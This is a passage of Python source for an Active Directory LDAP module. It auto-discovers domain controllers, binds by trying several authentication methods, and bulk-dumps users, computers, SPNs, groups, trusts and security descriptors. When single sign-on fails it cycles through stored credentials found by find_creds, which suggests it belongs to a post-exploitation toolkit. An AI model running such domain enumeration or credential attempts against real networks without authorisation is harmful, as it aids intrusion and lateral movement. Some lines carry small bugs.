super(ADException, self).__init__(self.message)\n\n    def __str__(self):\n        return self.__class__.__name__ + ': ' + self.message\n\n\nclass NoContext(ADException):\n    type = 'operations'\n    default_message = 'Realm not bound'\n\n\nclass AutodiscoveryFailed(ADException):\n    type = 'discovery'\n    default_message = 'Autodiscovery failed'\n\n    __slots__ = ()\n\n\nclass AutodiscoveryNotAvailable(AutodiscoveryFailed):\n    default_message = 'Autodiscovery not available'\n\n    __slots__ = ()\n\n\nclass AutodiscoveryNoDnsServersFound(AutodiscoveryFailed):\n    default_message = 'Autodiscovery not available - no discoverable DNS servers'\n\n    __slots__ = ()\n\n\nclass AuthenticationError(ADException):\n    type = 'auth'\n    default_message = 'Authentication failed'\n\n\nclass BindError(AuthenticationError):\n    default_message = 'Bind failed'\n\n\nclass NoCredentials(AuthenticationError):\n    default_message = 'No creds'\n\n\nclass BindErrorMulti(BindError):\n    default_message = 'Authentications failed'\n\n    def __init__(self, childs):\n        super(BindErrorMulti, self).__init__()\n        self.childs = tuple(childs)\n\n\nclass CredentialsError(BindError):\n    default_message = 'Invalid credentials'\n\n\nclass CommunicationError(ADException):\n    type = 'communication'\n    default_message = 'Connection failed'\n\n\nclass CommunicationErrorDiscovered(CommunicationError):\n    default_message = 'Connection to all discovered servers failed'\n\n    def __init__(self, childs):\n        super(CommunicationErrorDiscovered, self).__init__()\n        if not childs:\n            self.childs = tuple()\n            return\n\n        self.childs = tuple(\n            (\n                authentication, ldap_server, domain, user,\n                getattr(e, 'type', e.__class__.__name__),\n                e.message\n            ) for authentication, ldap_server, domain, user, e in childs\n        )\n\n\nclass CommunicationErrorNoDiscovered(CommunicationError):\n    default_message = 'No servers found'\n\n\nclass LDAPContext(object):\n    __slots__ = (\n        'server', 'connection', 'root'\n    )\n\n    def __init__(self, server, connection, root):\n        self.server = server\n        self.connection = connection\n        self.root = root\n\n\nclass LDAPRequest(object):\n    __slots__ = (\n        '_filter', 'attributes', 'value', 'one',\n        'minimal'\n    )\n\n    def __init__(\n        self, filter,\n            attributes=ALL_ATTRIBUTES, minimal=None,\n            value=None, one=False):\n\n        self._filter = filter\n        self.attributes = attributes\n        self.minimal = minimal\n        self.value = value\n        self.one = one\n\n    def _get_result(self, result):\n        if self.value:\n            if not result:\n                return None\n\n            result = result[0][self.value]\n            if self.one:\n                return result.value\n            else:\n                return result.values\n\n        return result\n\n    def filter(self, custom_filter, kwargs):\n        filter = self._filter\n\n        if kwargs:\n            filter = filter.format(**kwargs)\n\n        if custom_filter:\n            filter = '(&{}{})'.format(\n                filter, custom_filter\n            )\n\n        return filter\n\n    def __call__(self, ctx, custom_filter=None, minimal=False, **kwargs):\n        filter = self.filter(custom_filter, kwargs)\n\n        ctx.connection.search(\n            ctx.root, filter,\n            self.minimal if (\n                minimal and self.minimal\n            ) else self.attributes\n        )\n\n        try:\n            return self._get_result(ctx.connection.entries)\n\n        except (IndexError, LDAPKeyError):\n            return self._get_result([])\n\n\nclass LDAPLargeRequest(LDAPRequest):\n    __slots__ = ()\n\n    def __call__(\n        self, ctx, on_data, on_completed, interruption,\n            page_size=64, custom_filter=None, minimal=False, **kwargs):\n\n        filter = self.filter(custom_filter, kwargs)\n        controls = []\n\n        if 'ntsecuritydescriptor' in tuple(attr.lower() for attr in self.attributes):\n            controls.append(build_sd_control())\n\n        iterator = ctx.connection.extend.standard.paged_search(\n            ctx.root, filter,\n            attributes=self.minimal if (\n                minimal and self.minimal) else self.attributes,\n            paged_size=page_size, paged_criticality=True,\n            controls=controls,\n            generator=True\n        )\n\n        completed = False\n\n        while not (completed or (interruption and interruption.is_set())):\n            chunk = []\n\n            for _ in xrange(page_size):\n                try:\n                    chunk.append(next(iterator))\n                except StopIteration:\n                    completed = True\n                    break\n\n            if chunk:\n                if on_data:\n                    chunk = self._get_result(chunk)\n                    on_data(chunk)\n                del chunk[:]\n\n        if on_completed:\n            on_completed()\n\n\nADUser = LDAPRequest(\n    '(&(objectCategory=person)(objectClass=user)(sAMAccountName={username}))',\n    ('cn', 'memberOf', 'primaryGroupId'),\n)\n\nADAdmin = LDAPRequest(\n    '''\n        (&\n            (objectCategory=person)\n            (objectClass=user)\n            (sAMAccountName={username})'\n            (|\n                (memberOf:1.2.840.113556.1.4.1941:={dagroup})'\n                (memberOf:1.2.840.113556.1.4.1941:={eagroup}))\n            )\n        )\n    ''',\n    ('cn', 'sAMAccountName')\n)\n\nAllUsers = LDAPLargeRequest(\n    '(&(objectCategory=person)(objectClass=user))',\n    minimal=MINIMAL_USERATTRIBUTES\n)\n\nAllComputers = LDAPLargeRequest(\n    '(&(objectCategory=computer)(objectClass=user))',\n    minimal=MINIMAL_COMPUTERATTRIBUTES\n)\n\nAllSPNs = LDAPLargeRequest(\n    '(&(objectCategory=computer)(objectClass=user)(servicePrincipalName=*))'\n)\n\nAllGroups = LDAPLargeRequest(\n    '(objectClass=group)',\n    minimal=MINIMAL_GROUPATTRIBUTES\n)\n\nDomainPolicy = LDAPLargeRequest(\n    '(objectClass=domain)'\n)\n\nTrusts = LDAPLargeRequest(\n    '(objectClass=trustedDomain)'\n)\n\nSecurityGroups = LDAPLargeRequest(\n    '(groupType:1.2.840.113556.1.4.803:=2147483648)'\n)\n\nRootSid = LDAPRequest(\n    '(objectClass=domain)', ['objectSid'], 'objectSid'\n)\n\nGroupMembers = LDAPLargeRequest(\n    '(&(objectCategory=person)(objectClass=user)(memberOf:1.2.840.113556.1.4.1941:={group}))',\n    MINIMAL_USERATTRIBUTES\n)\n\nGroupDNFromId = LDAPRequest(\n    '(objectSid={domain}-{gid})',\n    ['distinguishedName'],\n    'distinguishedName',\n    True\n)\n\nIMM = 0\nLIST = 1\nMAP = 2\nDATE = 3\n\n\n# To fit into brine\ndef as_tuple_deep(obj):\n    if isinstance(obj, (list, tuple)) or isgenerator(obj):\n        return LIST, tuple(\n            as_tuple_deep(child) for child in obj\n        )\n    elif isinstance(obj, dict):\n        return MAP, tuple(\n            (\n                key, as_tuple_deep(value)\n            ) for key, value in obj.viewitems()\n        )\n    elif isinstance(obj, CaseInsensitiveDict):\n        return MAP, tuple(\n            (k, as_tuple_deep(obj[k])) for k in obj\n        )\n    elif isinstance(obj, datetime):\n        timetuple = obj.timetuple()\n        if timetuple.tm_year < 1970:\n            return DATE, 0\n        return DATE, mktime(timetuple)\n    elif hasattr(obj, '__slots__'):\n        return MAP, tuple(\n            (k,\n                as_tuple_deep(getattr(obj, k))\n            ) for k in obj.__slots__\n        )\n    else:\n        return IMM, obj\n\n\nclass ADLdapServer(object):\n    __slots__ = (\n        'port', 'priority', 'address'\n    )\n\n    def __init__(self, address, port, priority):\n        if hasattr(address, 'label'):\n            self.address = '.'.join(address.label)\n        else:\n            self.address = address\n\n        self.port = port\n        self.priority = priority\n\n    def __le__(self, other):\n        return self.priority.__le__(other.priority)\n\n    def __cmp__(self, other):\n        return self.priority.__cmp__(other.priority)\n\n    def __repr__(self):\n        return self.__class__.__name__ + '({}, {}, {})'.format(\n            repr(self.address), repr(self.port), repr(self.priority)\n        )\n\n\nclass ADCtx(object):\n    __slots__ = (\n        'realm', 'server', 'connection', 'root',\n        'global_catalog',\n        '_interrupt', '_kwargs', '_timeout',\n\n        '_i_am',\n        '_ldap_servers', '_name_servers', '_ns_socket', '_ns_udp',\n        '_preferred_name_server', '_preferred_ldap_server'\n    )\n\n    SIMPLE_DUMP_REQUESTS = {\n        'groups': AllGroups,\n        'users': AllUsers,\n        'computers': AllComputers,\n        'policy': DomainPolicy,\n        'trusts': Trusts,\n        'spns': AllSPNs,\n        'security_groups': SecurityGroups\n    }\n\n    def _bootstrap_ns(self, timeout=1, first=True, on_data=None):\n        query = dnslib.DNSRecord.question(self.realm, 'SOA')\n\n        try:\n            addrs = getaddrinfo(self.realm, 53)\n        except gaierror:\n            addrs = []\n            logger.info('No DNS servers found for this realm')\n\n        local_addrs, _ = dnsinfo()\n        local_addrs = [\n            (\n                AF_INET6 if IPAddress(addr).version == 6 else AF_INET,\n                SOCK_DGRAM,\n                0,\n                '',\n                (addr, 53)\n            ) for addr in local_addrs\n        ]\n\n        local_addrs.extend(addrs)\n\n        # Also add local DNS\n\n        for addr in local_addrs:\n            if self._interrupt.is_set():\n                break\n\n            family, kind, proto, _, endpoint = addr\n            logger.info('DNS: Try %s:%d', *endpoint)\n\n            try:\n                start = clock()\n                s = socket(family, kind, proto)\n                s.settimeout(timeout)\n                s.connect(endpoint)\n                s.send(query.pack())\n                data = s.recv(4096)\n                duration = clock() - start\n\n                parsed = dnslib.DNSRecord.parse(data)\n                if parsed.header.rcode != dnslib.RCODE.NOERROR:\n                    logger.info(\n                        'Bootstrap DNS: %s: SOA request failed', endpoint[0])\n                    continue\n\n                self._name_servers.append((addr, duration))\n                if first:\n                    return True\n\n            except socket_error as e:\n                logger.info('Bootstrap DNS %s: Socket error %s', endpoint[0], e)\n                pass\n\n            except Exception as e:\n                logger.exception(e)\n\n            finally:\n                s.close()\n\n        logger.info('Selected DNS: %s', self._name_servers)\n        return bool(self._name_servers)\n\n    def _select_fastest_ns(self, on_data=None):\n        if not self._name_servers:\n            for timeout in (1, 5):\n                if self._bootstrap_ns(timeout=timeout, on_data=None):\n                    break\n\n        if not self._name_servers:\n            if on_data:\n                on_data('No accessible DNS found')\n\n            raise AutodiscoveryNoDnsServersFound()\n\n        self._preferred_name_server, duration = sorted(\n            self._name_servers, key=lambda __duration: __duration[1]\n        )[0]\n\n        if on_data:\n            on_data('Preferred DNS: {} (rt: {:02f}ms)'.format(\n                self._preferred_name_server[4][0], duration * 1000))\n\n    def _broken_ns(self, ns):\n        for known_ns in self._name_servers:\n            if ns == known_ns[0]:\n                self._name_servers.remove(known_ns)\n                return\n\n    def _resolve(self, address, qtype):\n        retries = 0\n        while not self._interrupt.is_set():\n            family, kind, proto, _, addr = self._preferred_name_server\n\n            if self._ns_socket is None:\n                try:\n                    self._ns_socket = socket(family, kind, proto)\n                    self._ns_socket.connect(addr)\n                    self._ns_socket.settimeout(5)\n                except socket_error:\n                    self._broken_ns(addr)\n                    self._select_fastest_ns()\n                    self._ns_socket.close()\n                    self._ns_socket = None\n\n                    retries += 1\n                    if retries > 5:\n                        raise ValueError('Too many retries')\n\n                    continue\n\n            query = dnslib.DNSRecord.question(address, qtype).pack()\n            try:\n                self._ns_socket.send(query)\n\n                max_dns_size = 4096\n\n                if kind == SOCK_STREAM:\n                    max_dns_size = 65535\n\n                response = self._ns_socket.recv(max_dns_size)\n            except socket_error:\n                self._broken_ns(addr)\n                self._select_fastest_ns()\n                self._ns_socket.close()\n                self._ns_socket = None\n\n                retries += 1\n                if retries > 5:\n                    if retries > 5:\n                        raise ValueError('Too many retries')\n\n                    continue\n\n            if not response:\n                continue\n\n            parsed = dnslib.DNSRecord.parse(response)\n            if parsed.header.rcode != dnslib.RCODE.NOERROR:\n                return []\n\n            return [\n                record.rdata for record in parsed.rr\n                if dnslib.QTYPE[record.rtype] == qtype\n            ]\n\n    def _autodiscovery(self,\n            global_catalog=False, on_data=None, interrupt=None):\n\n        if not auto_discovery:\n            raise AutodiscoveryNotAvailable()\n\n        key = (self.realm, global_catalog)\n\n        if key in DISCOVERY_CACHE:\n            ts, _ldap_servers = DISCOVERY_CACHE[key]\n\n            if time() - ts < 3600:\n                self._ldap_servers = _ldap_servers\n            else:\n                del DISCOVERY_CACHE[key]\n\n            if self._ldap_servers:\n                return\n\n        self._select_fastest_ns(on_data)\n\n        if on_data:\n            on_data(\n                'Discovery {} servers for realm {} using DNS {}'.format(\n                    'GC' if global_catalog else 'LDAP', self.realm,\n                    self._preferred_name_server[4][0]))\n\n        ldap_servers = self._resolve('_ldap._tcp.' + self.realm, 'SRV')\n        if not ldap_servers:\n            raise AutodiscoveryFailed()\n\n        _ldap_servers = []\n\n        for ldap_server in ldap_servers:\n            record = ADLdapServer(\n                ldap_server.target, ldap_server.port,\n                ldap_server.priority\n            )\n\n            _ldap_servers.append(record)\n\n        _ldap_servers = sorted(_ldap_servers)\n\n        self._ldap_servers = []\n\n        _gc_ldap_servers = []\n\n        if global_catalog:\n            gc_ldap_servers = self._resolve(\n                '_ldap._tcp.gc._msdcs.' + self.realm, 'SRV')\n\n            if gc_ldap_servers:\n                for ldap_server in gc_ldap_servers:\n                    record = ADLdapServer(\n                        ldap_server.target, ldap_server.port,\n                        ldap_server.priority\n                    )\n\n                    _gc_ldap_servers.append(record)\n\n                _gc_ldap_servers = sorted(_gc_ldap_servers)\n\n                # Global catalog has priority\n                self._ldap_servers.extend(_gc_ldap_servers)\n\n        self._ldap_servers.extend(_ldap_servers)\n\n        hosts = set(server.address for server in self._ldap_servers)\n        ports = set(server.port for server in self._ldap_servers)\n\n        if on_data:\n            on_data('Check connection ({} servers)'.format(len(\n                self._ldap_servers)))\n\n        connectables = scan(hosts, ports, interrupt)\n        self._ldap_servers = [\n            server for server in self._ldap_servers\n            if (server.address, server.port) in connectables\n        ]\n\n        DISCOVERY_CACHE[key] = time(), self._ldap_servers\n\n        if on_data:\n            on_data(('Discovered', tuple(\n                '{}:{}'.format(server.address, server.port)\n                for server in self._ldap_servers)))\n\n    def _try_connect_exact(\n        self, server, ldap_server, global_catalog=False, recv_timeout=60,\n            domain=None, user=None, password=None,\n            authentication=None, sasl_princ_use_realm=True):\n\n        kwargs = {\n            'authentication': authentication,\n            # Broken with SASL\n            # 'auto_referrals': True,\n            # 'use_referral_cache': True,\n            'auto_referrals': False,\n            'receive_timeout': self._timeout,\n            'client_strategy': RESTARTABLE\n        }\n\n        if not (user and password) and authentication == SIMPLE:\n            raise NoCredentials()\n\n        if (user and password):\n            kwargs.update({\n                'user': user,\n                'password': password\n            })\n\n        if authentication == SASL:\n            bind_user = None\n\n            if user:\n                bind_user = user + '@' + (domain or self.realm).upper()\n\n            if password and GSSAPI_EXT_PASSWORD:\n                bind_user = GSSAPI_EXT_PASSWORD((bind_user, password))\n\n            sasl_ldap_server = ldap_server\n            if sasl_princ_use_realm:\n                sasl_ldap_server += '/' + self.realm\n\n            kwargs.update({\n                'user': bind_user,\n                'sasl_credentials': (\n                    ldap_server,\n                ),\n                'sasl_mechanism': GSSAPI,\n            })\n\n        elif authentication == NTLM:\n            if not (user and password):\n                raise NoCredentials()\n\n            if '\\\\' not in user:\n                if not domain:\n                    domain = self.realm.lower()\n\n                kwargs['user'] = domain + '\\\\' + user\n\n        elif authentication == SIMPLE:\n            if not (user and password):\n                raise NoCredentials()\n\n        self._kwargs = kwargs\n\n        try:\n            self._connect(server)\n        except gssexceptions.GSSError as e:\n            gssmaj, gssmin = e.args\n            msgmaj, majcode = gssmaj\n            msgmin, _ = gssmin\n            if (majcode & 0xb0000 == 0xb0000) \\\n                and authentication == SASL and sasl_princ_use_realm:\n\n                self._try_connect_exact(\n                    server, ldap_server, global_catalog, recv_timeout,\n                    domain, user, password,\n                    authentication, False\n                )\n            elif majcode & 0xd0000 == 0xd0000:\n                raise NoCredentials(\n                    'GSSAPI: ' + msgmin, replace=True\n                )\n            else:\n                raise NoCredentials(\n                    'GSSAPI: ' + msgmaj + (\n                        (': ' + msgmin) if msgmin != 'Success' else ''\n                    ), replace=True\n                )\n\n        except Exception as e:\n            logger.info(\n                'LDAP Connect failed: server=%s args=%s: %s',\n                ldap_server, kwargs, e\n            )\n            raise\n\n    def _connect(self, server=None, timeout=None):\n        kwargs = dict(self._kwargs)\n        if timeout:\n            kwargs['receive_timeout'] = timeout\n\n        self.connection = Connection(\n            server or self.server, **kwargs\n        )\n\n        if not self.connection.bind():\n            last_error = self.connection.last_error\n            self.connection = None\n            raise BindError(last_error)\n\n        self._i_am = self.connection.extend.standard.who_am_i()\n        self.server = server\n\n    def _try_connect_multi(\n        self, server, ldap_server, global_catalog=False, recv_timeout=60,\n            domain=None, user=None, password=None, authentication=None):\n\n        errors = []\n\n        if authentication is not None:\n            self._try_connect_exact(\n                server,\n                ldap_server, global_catalog, recv_timeout,\n                domain, user, password, authentication\n            )\n            return\n\n        for authentication in (SASL, NTLM, SIMPLE):\n            try:\n                self._try_connect_exact(\n                    server,\n                    ldap_server, global_catalog, recv_timeout,\n                    domain, user, password, authentication\n                )\n\n                logger.info(\n                    'Authenticated to %s with %s',\n                    ldap_server, authentication\n                )\n                return\n\n            except AuthenticationError as e:\n                errors.append(\n                    (authentication, ldap_server, domain, user, e)\n                )\n\n        raise BindErrorMulti(errors)\n\n    @property\n    def ldap_server(self):\n        return self._preferred_ldap_server\n\n    @property\n    def name_server(self):\n        return self._preferred_name_server[4][0]\n\n    def __init__(\n        self, realm,\n        ldap_server=None, global_catalog=False, recv_timeout=60,\n            domain=None, user=None, password=None,\n            authentication=None, root=None, interrupt=None, timeout=600,\n            on_data=None):\n\n        if not realm:\n            raise ValueError('Realm can not be empty')\n\n        self.realm = realm.upper()\n        self.global_catalog = global_catalog\n        self.server = None\n\n        self._interrupt = interrupt or Event()\n        self._ns_socket = None\n        self._ldap_servers = []\n        self._name_servers = []\n        self._preferred_ldap_server = None\n        self._preferred_name_server = None\n        self._timeout = timeout\n\n        if not ldap_server and self._preferred_ldap_server:\n            ldap_server = self._preferred_ldap_server\n\n        if ldap_server:\n            server = Server(\n                ldap_server,\n                get_info=ALL,\n                port=3268 if global_catalog else 389,\n                # Broken in ldap3 (SASL issues)\n                # allowed_referral_hosts=[\n                #     ('*', True)\n                # ]\n            )\n\n            if on_data:\n                on_data('Connecting to {}'.format(ldap_server))\n\n            self._try_connect_multi(\n                server,\n                ldap_server, global_catalog,\n                domain, user, password, authentication\n            )\n\n            self._preferred_ldap_server = ldap_server\n        else:\n            try:\n                self._autodiscovery(global_catalog, on_data, interrupt)\n            except AutodiscoveryFailed as e:\n                if on_data:\n                    on_data(\n                        'Autodiscovery failed, try {} as LDAP'.format(\n                            realm))\n\n                logger.info(\n                    'Autodiscovery failed: %s. Try realm as LDAP',\n                    e.message\n                )\n\n                self._ldap_servers = [\n                    ADLdapServer(realm, 389, 0)\n                ]\n\n            errors = []\n            known_invalid_creds = []\n\n            for multi_ldap_server in self._ldap_servers:\n                if self._interrupt.is_set():\n                    break\n\n                if (domain, user, password, authentication) in known_invalid_creds:\n                    logger.info(\n                        'Omit %s: no creds for method %s', multi_ldap_server.address,\n                        authentication\n                    )\n                    continue\n\n                try:\n                    server = Server(\n                        multi_ldap_server.address,\n                        connect_timeout=5,\n                        port=multi_ldap_server.port,\n                        get_info=ALL,\n                        allowed_referral_hosts=[\n                            ('*', True)\n                        ]\n                    )\n\n                    if on_data:\n                        on_data('[Try] Connecting to {}'.format(\n                            multi_ldap_server.address))\n\n                    self._try_connect_multi(\n                        server,\n                        multi_ldap_server.address, global_catalog, recv_timeout,\n                        domain, user, password, authentication\n                    )\n\n                    self._preferred_ldap_server = multi_ldap_server.address\n                    break\n\n                except gaierror as e:\n                    logger.info(\n                        'Can not resolve %s: %s, try next if any',\n                        multi_ldap_server.address,\n                        e\n                    )\n                    errors.append(\n                        CommunicationError(str(e))\n                    )\n\n                except BindErrorMulti as e:\n                    errors.extend(e.childs)\n                    for (authentication, ldap_server, domain, user, exc) in e.childs:\n                        if isinstance(exc, NoCredentials):\n                            known_invalid_creds.append(\n                                (domain, user, password, authentication)\n                            )\n\n                except (\n                    socket_error, LDAPSocketOpenError, LDAPSocketReceiveError,\n                    LDAPCommunicationError, LDAPMaximumRetriesError) as e:\n                    errors.append((domain, user, password, authentication, e))\n                    continue\n\n        if not self.server:\n            if errors:\n                raise BindErrorMulti(errors)\n            else:\n                raise CommunicationErrorNoDiscovered()\n\n        self.root = root\n\n        if self.root is None and self.server.info and self.server.info.other:\n            if 'defaultNamingContext' in self.server.info.other:\n                self.root = self.server.info.other['defaultNamingContext'][0]\n            else:\n                self.root = next(iter(self.server.info.naming_contexts))\n\n    def interrupt(self):\n        self._interrupt.set()\n\n    def dump(self, on_data, on_completed, interrupt,\n            filter=None, minimal=False, timeout=600):\n        ctx = LDAPContext(self.server, self.connection, self.root)\n\n        categories = None\n\n        dump_requests = self.SIMPLE_DUMP_REQUESTS\n\n        if isinstance(filter, basestring):\n            if filter.startswith('('):\n                dump_requests = {\n                    'custom_' + md5(filter).hexdigest(): LDAPLargeRequest(filter)\n                }\n            else:\n                categories = tuple(set(cat.strip() for cat in filter.split(',')))\n                filter = None\n\n                dump_requests = {\n                    name: request for name, request in\n                    self.SIMPLE_DUMP_REQUESTS.items()\n                    if name in categories\n                }\n\n        for name, request in dump_requests.items():\n            if interrupt.is_set():\n                if on_completed:\n                    on_completed()\n\n                return\n\n            _on_data = lambda data: on_data(\n                name, as_tuple_deep({\n                    k:v for k,v in record.items()\n                    if k not in ('raw_attributes', 'raw_dn', 'type')\n                } for record in data if record['type'] == 'searchResEntry')\n            )\n\n            request(\n                ctx, _on_data, None, interrupt,\n                minimal=minimal,\n                custom_filter=filter\n            )\n\n        if on_completed:\n            on_completed()\n\n    def childs(self):\n        try:\n            result = self.connection.search(\n                self.root, '(objectClass=domain)',\n                BASE,\n                attributes=['subRefs'],\n                size_limit=1,\n            )\n        except LDAPAttributeError:\n            return False, \"Not supported\"\n\n        if not result:\n            return False, self.connection.last_error\n\n        response = list(self.connection.response)\n        if len(response) != 1:\n            return True, None\n\n        return True, (self._i_am, response[0]['dn'], tuple(\n            response[0]['attributes']['subRefs']))\n\n    def info(self):\n        info = {\n            'bind': self._i_am,\n            'root': self.root or '',\n            'dns': self._preferred_name_server,\n            'ldap': self._preferred_ldap_server,\n            'dns_servers': self._name_servers,\n            'ldap_servers': self._ldap_servers\n        }\n\n        info['info'] = {\n            k:getattr(self.server.info, k) for k in (\n                'alt_servers', 'naming_contexts',\n                'supported_controls', 'supported_extensions',\n                'supported_features', 'supported_ldap_versions',\n                'supported_sasl_mechanisms', 'vendor_name',\n                'vendor_version', 'schema_entry',\n                'other'\n            )\n        }\n\n        return as_tuple_deep(info)\n\n    def search(self, filter, attributes, base, root,\n            amount=5, timeout=30, as_json=False):\n\n        controls = []\n\n        if 'ntsecuritydescriptor' in tuple(attr.lower() for attr in attributes):\n            controls.append(build_sd_control())\n\n        try:\n            result = self.connection.search(\n                root or self.root, filter, base,\n                attributes=attributes,\n                controls=controls,\n                size_limit=amount,\n                time_limit=timeout\n            )\n        except (LDAPAttributeError, LDAPInvalidDnError) as e:\n            return False, str(e)\n\n        if not result:\n            if not self.connection.last_error:\n                return True, []\n\n            return False, self.connection.last_error\n\n        if as_json:\n            return True, self.connection.response_to_json(indent=1)\n        else:\n            result = []\n            for record in self.connection.response:\n                if record['type'] != 'searchResEntry':\n                    continue\n\n                item = record['attributes']\n                if 'distinguishedName' in item:\n                    del item['distinguishedName']\n\n                item['dn'] = record['dn']\n                result.append(item)\n\n            return True, result\n\n\ndef _get_realm(realm, on_data=None):\n    if not realm:\n        if len(REALM_CACHE) == 1:\n            realm = REALM_CACHE[next(iter(REALM_CACHE))].realm\n            if on_data:\n                on_data('[Resue] Realm: {}'.format(realm))\n        else:\n            realm = environ.get('USERDNSDOMAIN', None)\n            if realm:\n                if on_data:\n                    on_data('[env] Realm: {}'.format(realm))\n            else:\n                fqdn = getfqdn()\n                if '.' in fqdn:\n                    _, realm = fqdn.split('.', 1)\n                    if on_data:\n                        on_data('[fqdn] Realm: {}'.format(realm))\n                else:\n                    _, domains = dnsinfo()\n                    if not domains:\n                        raise AutodiscoveryFailed('No way to find default realm')\n                    else:\n                        realm = domains[0]\n                        if on_data:\n                            on_data('[dnsinfo] Realm: {}'.format(realm))\n\n    return str(realm).strip().upper()\n\n\ndef _get_cached_ctx(realm, global_catalog=False, on_data=None):\n    realm = _get_realm(realm, on_data)\n    key = (\n        ('GC' if global_catalog else 'LDAP'),\n        realm\n    )\n\n    return key, realm, REALM_CACHE.get(key, None)\n\n\ndef _get_ctx(\n    interrupt, on_data,\n    realm, ldap_server, global_catalog, recv_timeout,\n        domain, user, password, root):\n\n    key, realm, ctx = _get_cached_ctx(realm, global_catalog, on_data)\n    if ctx:\n        return ctx\n\n    if (user and password):\n        logger.info(\n            '(Realm: %s) Use preconfigured credentials: domain=%s user=%s',\n            realm, domain, user\n        )\n\n        on_data('[auth] Realm: {} - user: {}\\\\{}'.format(realm, domain, user))\n        ctx = ADCtx(\n            realm, ldap_server, global_catalog, recv_timeout,\n            domain, user, password,\n            root=root, interrupt=interrupt, on_data=on_data\n        )\n    else:\n        errors = []\n\n        try:\n            logger.info('(Realm: %s) Use SSO', realm)\n            if on_data:\n                on_data('[auth] Realm: {} - try SSO'.format(realm))\n\n            ctx = ADCtx(\n                realm, ldap_server, global_catalog, recv_timeout,\n                root=root, interrupt=interrupt, on_data=on_data\n            )\n\n            REALM_CACHE[key] = ctx\n            logger.info('(Realm: %s) Use SSO - ok (%s)', realm, ctx)\n            return ctx\n\n        except BindErrorMulti as e:\n            errors.extend(e.childs)\n\n        except (\n            ADException, gssexceptions.GSSError,\n                LDAPUnknownAuthenticationMethodError, LDAPMaximumRetriesError) as e:\n\n            logger.warning('(Realm: %s) Use SSO failed: %s', realm, e)\n\n        for cred in find_creds(schema='ldap', realm=realm.lower(), username=user):\n            if interrupt.is_set():\n                break\n\n            domain = cred.domain or cred.realm\n            user = cred.username\n            password = cred.password\n\n            if not user:\n                # We already tried SSO\n                continue\n\n            if on_data:\n                on_data('[Try] Credentials {}\\\\{}'.format(\n                    domain, user))\n\n            logger.info(\n                '(Realm: %s) Try netcreds: domain=%s user=%s',\n                realm, domain, user\n            )\n\n            try:\n                ctx = ADCtx(\n                    realm, ldap_server, global_catalog, recv_timeout,\n                    domain, user, password,\n                    root=root, interrupt=interrupt, on_data=on_data\n                )\n\n                logger.info(\n                    '(Realm: %s) Try netcreds: domain=%s user=%s: ok (%s)',\n                    realm, domain, user, ctx\n                )\n\n            except BindErrorMulti as e:\n                errors.extend(e.childs)\n\n            except (ValueError, ADException,\n                    gssexceptions.GSSError, LDAPUnknownAuthenticationMethodError) as e:\n\n                logger.warning(\n                    '(Realm: %s) Try netcreds: domain=%s user=%s failed: %s',\n                    realm, domain, user, e\n                )\n                continue\n\n        if not ctx:\n            logger.warning('(Realm: %s) No creds found', realm)\n            raise CommunicationErrorDiscovered(errors)\n\n    REALM_CACHE[key] = ctx\n    return ctx\n\n\ndef _dump(ctx, interrupt, on_data, on_completed, filter, minimal):\n    try:\n        ctx.dump(\n            on_data, on_completed,\n            interrupt, filter, minimal\n        )\n\n    except Exception as e:\n        if interrupt.is_set():\n            on_data('error', 'Interrupted')\n        else:\n            import traceback\n            on_data(\n                'error', '{}: {}'.format(\n                    e, traceback.format_exc()\n                )\n            )\n\n    finally:\n        on_completed()\n\n\ndef _bind(\n    interrupt, on_data, on_completed,\n    realm, global_catalog, ldap_server=None, recv_timeout=60,\n    domain=None, user=None, password=None, root=None\n):\n    bound_to = None\n\n    if on_data:\n        if global_catalog:\n            on_data(\n                'Bind to ' + (\n                    'Global Catalog' if global_catalog else 'LDAP'))\n\n    try:\n        ctx = _get_ctx(\n            interrupt, on_data,\n            realm, ldap_server, global_catalog, recv_timeout,\n            domain, user, password, root\n        )\n\n        bound_to = ctx.ldap_server\n\n        if on_completed:\n            on_completed(True, bound_to)\n\n    except Exception as e:\n        logger.exception(e)\n\n        if on_completed:\n            on_completed(False, str(e))\n        else:\n            raise\n\n\ndef bind(\n    on_data, on_completed,\n    realm, global_catalog, ldap_server=None, recv_timeout=60,\n    domain=None, user=None, password=None, root=None\n):\n    interrupt = Event()\n    thread = Thread(\n        target=_bind,\n        args=(\n            interrupt, on_data, on_completed,\n            realm, global_catalog, ldap_server, recv_timeout,\n            domain, user, password, root\n        )\n    )\n    thread.daemon = True\n    thread.start()\n\n    return interrupt.set\n\n\ndef unbind(realm, global_catalog=False):\n    key, _, ctx =_get_cached_ctx(realm, global_catalog)\n    if not ctx:\n        raise NoContext()\n\n    try:\n        ctx.connection.unbind()\n    finally:\n        del REALM_CACHE[key]\n\n\ndef dump(on_data, on_completed, realm, global_catalog=False,\n        filter=None, minimal=False):\n    key, _, ctx =_get_cached_ctx(realm, global_catalog)\n    if not ctx:\n        raise NoContext()\n\n    interrupt = Event()\n    thread = Thread(\n        target=_dump,\n        args=(\n            ctx, interrupt, on_data, on_completed,\n            filter, minimal\n        )\n    )\n    thread.daemon = True\n    thread.start()\n\n    return interrupt.set\n\n\ndef search(realm, global_catalog, term,\n        attributes, base, root, amount, timeout, as_ldiff):\n    ctxs = []\n    if realm:\n        key, _, ctx =_get_cached_ctx(realm, global_catalog)\n        if not ctx:\n            raise NoContext()\n\n        ctxs.append(ctx)\n    elif global_catalog is not None:\n        expected_btype = 'GC' if global_catalog else 'LDAP'\n        ctxs.extend([\n            ctx for (btype, _), ctx in REALM_CACHE.items()\n            if btype == expected_btype\n        ])\n    else:\n        ctx.extend(REALM_CACHE.values())\n\n    if not ctxs:\n        raise NoContext('any')\n\n    if len(ctxs) > 1:\n        results = {}\n    else:\n        results = []\n\n    errors = []\n    ok = False\n\n    for ctx in ctxs:\n        try:\n            success, result = ctx.search(\n                term, attributes, base, root,\n                amount, timeout, as_ldiff\n            )\n        except Exception:\n            success = False\n            import traceback\n            result = traceback.format_exc()\n\n        if success:\n            if len(ctxs) > 1:\n                key = (\n                    'GC ' if ctx.global_catalog else ''\n                ) + ctx.realm\n                results[key] = result\n            else:\n                results.extend(result)\n\n            ok = True\n        else:\n            result = ctx.realm + ': ' + result\n            errors.append(result)\n\n    if not ok:\n        return False, '\\n'.join(errors)\n\n    return ok, as_tuple_deep(results)\n\n\ndef childs(realm, global_catalog):\n    key, _, ctx =_get_cached_ctx(realm, global_catalog)\n    if not ctx:\n        raise NoContext()\n\n    return ctx.childs()\n\n\ndef info(realm, global_catalog):\n    key, _, ctx =_get_cached_ctx(realm, global_catalog)\n    if not 